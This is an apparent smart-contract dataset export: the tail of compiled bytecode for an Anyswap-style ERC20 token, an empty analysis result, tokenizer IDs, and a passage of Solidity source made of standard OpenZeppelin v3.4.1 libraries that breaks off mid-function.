605760405162461bcd60e51b815260040161071d90612441565b610d6a83836119c5565b50600192915050565b600084421115610dc55760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d69740000604482015260640161071d565b6001600160a01b0388166000908152600d6020526040812080547f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59918b918b918b919086610e1283612478565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e001604051602081830303815290604052805190602001209050610e738982878787611a93565b80610e865750610e868982878787611b84565b610e8f57600080fd5b6001600160a01b038816151580610eaf57506001600160a01b0388163014155b610eb857600080fd5b6001600160a01b03891660009081526002602052604090205487811015610ef15760405162461bcd60e51b815260040161071d90612375565b610efb888261235e565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815290812080548a9290610f319084906123c4565b92505081905550886001600160a01b03168a6001600160a01b03166000805160206125008339815191528a604051610f6b91815260200190565b60405180910390a35060019998505050505050505050565b6000610f8d6118c6565b6001600160a01b0316336001600160a01b031614610fbd5760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b038216610fe35760405162461bcd60e51b815260040161071d90612493565b600880546001600160a01b0384166001600160a01b03199182168117909255600b80549091168217905560405142919081907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a45060015b919050565b600454600090610100900460ff161561109f5760405162461bcd60e51b815260206004820152601860248201527f416e7973776170563445524332303a206f6e6c79417574680000000000000000604482015260640161071d565b6001600160a01b0382166110c55760405162461bcd60e51b815260040161071d90612493565b6110cf3384611be7565b6040518381526001600160a01b0383169033907f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c88890602001610824565b6111146118c6565b6001600160a01b0316336001600160a01b0316146111445760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03811661116a5760405162461bcd60e51b815260040161071d90612493565b600b80546001600160a01b0319166001600160a01b03831617905560055461119290426123c4565b600c5550565b60006111cf6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333086611cb9565b6107468383611d2a565b600781815481106111e957600080fd5b6000918252602090912001546001600160a01b0316905081565b6000610be26118c6565b6001805461075a9061230d565b3360009081526006602052604081205460ff166112495760405162461bcd60e51b815260040161071d90612441565b6001600160a01b03831661126f5760405162461bcd60e51b815260040161071d90612493565b610d6a8383611be7565b606060078054806020026020016040519081016040528092919081815260200182805480156112d157602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116112b3575b5050505050905090565b60006001600160a01b0383161515806112fd57506001600160a01b0383163014155b61130657600080fd5b33600090815260026020526040902054828110156113365760405162461bcd60e51b815260040161071d90612375565b611340838261235e565b33600090815260026020526040808220929092556001600160a01b038616815290812080548592906113739084906123c4565b90915550506040518381526001600160a01b038516903390600080516020612500833981519152906020015b60405180910390a35060019392505050565b60006113e86001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333085611cb9565b610ae98233611d2a565b60006113fc6118c6565b6001600160a01b0316336001600160a01b0316146111cf5760405162461bcd60e51b815260040161071d906122d6565b6114346118c6565b6001600160a01b0316336001600160a01b0316146114645760405162461bcd60e51b815260040161071d906122d6565b600480549115156101000261ff0019909216919091179055565b336000818152600e602090815260408083206001600160a01b03891680855292528083208790555191929091600080516020612520833981519152906114c79088815260200190565b60405180910390a360405162ba451f60e01b81526001600160a01b0386169062ba451f906114ff9033908890889088906004016123dc565b6020604051808303816000875af115801561151e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115429190612424565b95945050505050565b6115536118c6565b6001600160a01b0316336001600160a01b0316146115835760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa15801561160d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163191906124ca565b90506116686001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333084611cb9565b6116728133611d2a565b91505090565b834211156116c85760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d69740000604482015260640161071d565b6001600160a01b0387166000908152600d6020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a91908661171583612478565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506117768882868686611a93565b8061178957506117898882868686611b84565b61179257600080fd5b6001600160a01b038881166000818152600e60209081526040808320948c16808452948252918290208a90559051898152600080516020612520833981519152910160405180910390a35050505050505050565b6117ee6118c6565b6001600160a01b0316336001600160a01b03161461181e5760405162461bcd60e51b815260040161071d906122d6565b600c5442101561182d57600080fd5b600b54600880546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526006602052604081205460ff166118805760405162461bcd60e51b815260040161071d90612441565b61188a83836119c5565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d618460405161139f91815260200190565b6000600c5442106118e15750600b546001600160a01b031690565b506008546001600160a01b031690565b6118f96118c6565b6001600160a01b0316336001600160a01b0316146119295760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03811661194f5760405162461bcd60e51b815260040161071d90612493565b600980546001600160a01b0319166001600160a01b03831617905560055461197790426123c4565b600a5550565b60006119898484611be7565b6119bd6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168385611da7565b509092915050565b6001600160a01b038216611a1b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161071d565b8060036000828254611a2d91906123c4565b90915550506001600160a01b03821660009081526002602052604081208054839290611a5a9084906123c4565b90915550506040518181526001600160a01b03831690600090600080516020612500833981519152906020015b60405180910390a35050565b60405161190160f01b60208201527f1a653d6dd142bb3f079a13defa875c0a5d70a043ec8198197534ee0ea7297e2d60228201526042810185905260009081906062015b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015611b42573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611b785750876001600160a01b0316816001600160a01b0316145b98975050505050505050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208201527f1a653d6dd142bb3f079a13defa875c0a5d70a043ec8198197534ee0ea7297e2d603c820152605c81018590526000908190607c01611ad7565b6001600160a01b038216611c475760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161071d565b6001600160a01b03821660009081526002602052604081208054839290611c6f90849061235e565b925050819055508060036000828254611c88919061235e565b90915550506040518181526000906001600160a01b0384169060008051602061250083398151915290602001611a87565b6040516001600160a01b0380851660248301528316604482015260648101829052611d249085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611ddc565b50505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031615801590611d8d57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03163014155b611d9657600080fd5b611da082846119c5565b5090919050565b6040516001600160a01b038316602482015260448101829052611dd790849063a9059cbb60e01b90606401611ced565b505050565b611dee826001600160a01b0316611f63565b611e3a5760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015260640161071d565b600080836001600160a01b031683604051611e5591906124e3565b6000604051808303816000865af19150503d8060008114611e92576040519150601f19603f3d011682016040523d82523d6000602084013e611e97565b606091505b509150915081611ee95760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015260640161071d565b805115611d245780806020019051810190611f049190612424565b611d245760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161071d565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906107315750141592915050565b80356001600160a01b038116811461103f57600080fd5b600080600060608486031215611fc657600080fd5b611fcf84611f9a565b925060208401359150611fe460408501611f9a565b90509250925092565b6000806040838503121561200057600080fd5b8235915061201060208401611f9a565b90509250929050565b60005b8381101561203457818101518382015260200161201c565b83811115611d245750506000910152565b6020815260008251806020840152612064816040850160208701612019565b601f01601f19169190910160400192915050565b6000806040838503121561208b57600080fd5b61209483611f9a565b946020939093013593505050565b6000806000606084860312156120b757600080fd5b6120c084611f9a565b92506120ce60208501611f9a565b9150604084013590509250925092565b6000602082840312156120f057600080fd5b5035919050565b60006020828403121561210957600080fd5b61074682611f9a565b6000806000806060858703121561212857600080fd5b61213185611f9a565b935060208501359250604085013567ffffffffffffffff8082111561215557600080fd5b818701915087601f83011261216957600080fd5b81358181111561217857600080fd5b88602082850101111561218a57600080fd5b95989497505060200194505050565b600080600080600080600060e0888a0312156121b457600080fd5b6121bd88611f9a565b96506121cb60208901611f9a565b95506040880135945060608801359350608088013560ff811681146121ef57600080fd5b9699959850939692959460a0840135945060c09093013592915050565b6020808252825182820181905260009190848201906040850190845b8181101561224d5783516001600160a01b031683529284019291840191600101612228565b50909695505050505050565b801515811461226757600080fd5b50565b60006020828403121561227c57600080fd5b813561074681612259565b6000806040838503121561229a57600080fd5b6122a383611f9a565b915061201060208401611f9a565b6000806000606084860312156122c657600080fd5b833592506120ce60208501611f9a565b60208082526019908201527f416e7973776170563345524332303a20464f5242494444454e00000000000000604082015260600190565b600181811c9082168061232157607f821691505b6020821081141561234257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561237057612370612348565b500390565b6020808252602f908201527f416e7973776170563345524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b600082198211156123d7576123d7612348565b500190565b6001600160a01b0385168152602081018490526060604082018190528101829052818360808301376000818301608090810191909152601f909201601f191601019392505050565b60006020828403121561243657600080fd5b815161074681612259565b60208082526019908201527f416e7973776170563445524332303a20464f5242494444454e00000000000000604082015260600190565b600060001982141561248c5761248c612348565b5060010190565b6020808252601c908201527f416e7973776170563345524332303a2061646472657373283078302900000000604082015260600190565b6000602082840312156124dc57600080fd5b5051919050565b600082516124f5818460208701612019565b919091019291505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a26469706673582212204db622a89335a7f516edf22bc6964bb0d3dae43db253408484323d804b982d4c64736f6c634300080a0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2497, 16932, 2063, 21084, 2497, 22275, 2497, 2683, 2683, 12376, 2094, 2475, 2050, 2549, 2094, 19317, 2683, 2475, 2546, 2620, 16409, 2581, 2094, 22203, 2050, 2549, 2546, 21472, 2581, 2050, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 4231, 28302, 1012, 23377, 9336, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2403, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 4586, 6494, 3401, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2410, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 12098, 18477, 9336, 2006, 16798, 2475, 1011, 5840, 1011, 5890, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 12098, 18477, 9336, 2006, 16798, 2475, 1011, 5840, 1011, 5890, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,386
0x96b1b007165c372810Af040d455116eB14CEA8a2
// SPDX-License-Identifier: MIT // File @openzeppelin/contracts/utils/Context.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/SafeMath.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File @openzeppelin/contracts/utils/EnumerableSet.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return 